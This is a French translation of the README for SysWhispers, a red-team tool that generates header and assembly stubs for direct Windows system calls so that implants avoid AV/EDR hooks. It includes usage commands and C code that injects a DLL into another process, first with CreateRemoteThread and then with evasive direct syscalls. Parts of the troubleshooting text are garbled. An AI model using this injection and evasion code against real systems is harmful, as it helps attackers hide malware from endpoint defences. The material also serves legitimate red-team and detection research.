
Contournement d'AV/EDR via des appels système directs.
SysWhispers aide à l'évasion en générant des fichiers d'en-tête/ASM que les implants peuvent utiliser pour effectuer des appels système directs.
Tous les appels système principaux sont pris en charge de Windows XP à Windows 10 19042 (20H2). Des exemples de fichiers générés sont disponibles dans le dossier example-output/.
Divers produits de sécurité placent des hooks dans les API en mode utilisateur, ce qui leur permet de rediriger le flux d'exécution vers leurs moteurs et de détecter des comportements suspects. Les fonctions de ntdll.dll qui effectuent les appels système sont composées de seulement quelques instructions assembleur, donc les réimplémenter dans votre propre implant peut contourner le déclenchement de ces hooks de produits de sécurité. Cette technique a été popularisée par @Cn33liz et son article de blog contient plus de détails techniques qui valent la peine d'être lus.
SysWhispers fournit aux équipes rouges la possibilité de générer des paires en-tête/ASM pour tout appel système dans l'image du noyau principal (ntoskrnl.exe) sur n'importe quelle version de Windows à partir de XP. Les en-têtes incluront également les définitions de types nécessaires.
La principale différence d'implémentation entre ceci et le POC Dumpert est que celui-ci n'appelle pas RtlGetVersion pour interroger la version de l'OS, mais le fait dans l'assembleur en interrogeant directement le PEB. L'avantage est de pouvoir appeler une seule fonction qui prend en charge plusieurs versions de Windows au lieu d'appeler plusieurs fonctions, chacune prenant en charge une version.
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# Exporte toutes les fonctions avec compatibilité pour toutes les versions de Windows prises en charge (voir example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Exporte juste les fonctions courantes avec compatibilité pour Windows 7, 8 et 10.
py .\syswhispers.py --preset common -o syscalls_common
# Exporte NtProtectVirtualMemory et NtWriteVirtualMemory avec compatibilité pour toutes les versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Exporte toutes les fonctions avec compatibilité pour Windows 7, 8 et 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: Pourquoi appeler le noyau quand on peut chuchoter ?
Fonctions courantes sélectionnées.
Terminé ! Fichiers écrits dans :
syscom.asm
syscom.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Importer l'en-tête généré.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
L'utilisation du commutateur --preset common créera une paire en-tête/ASM avec les fonctions suivantes :
win32k.sys) ne sont pas pris en charge.ModuleNotFoundError dans le script Python.
pip3 install -r requirements.txt.syscalls.h ont déjà été définis.
--preset all est rarement nécessaire).syscalls.h.Ce script a été développé par @Jackson_T mais s'appuie sur le travail de beaucoup d'autres :
Remerciements spéciaux à @Dcept905 pour les tests et les suggestions.
Ce projet est sous licence Apache License 2.0.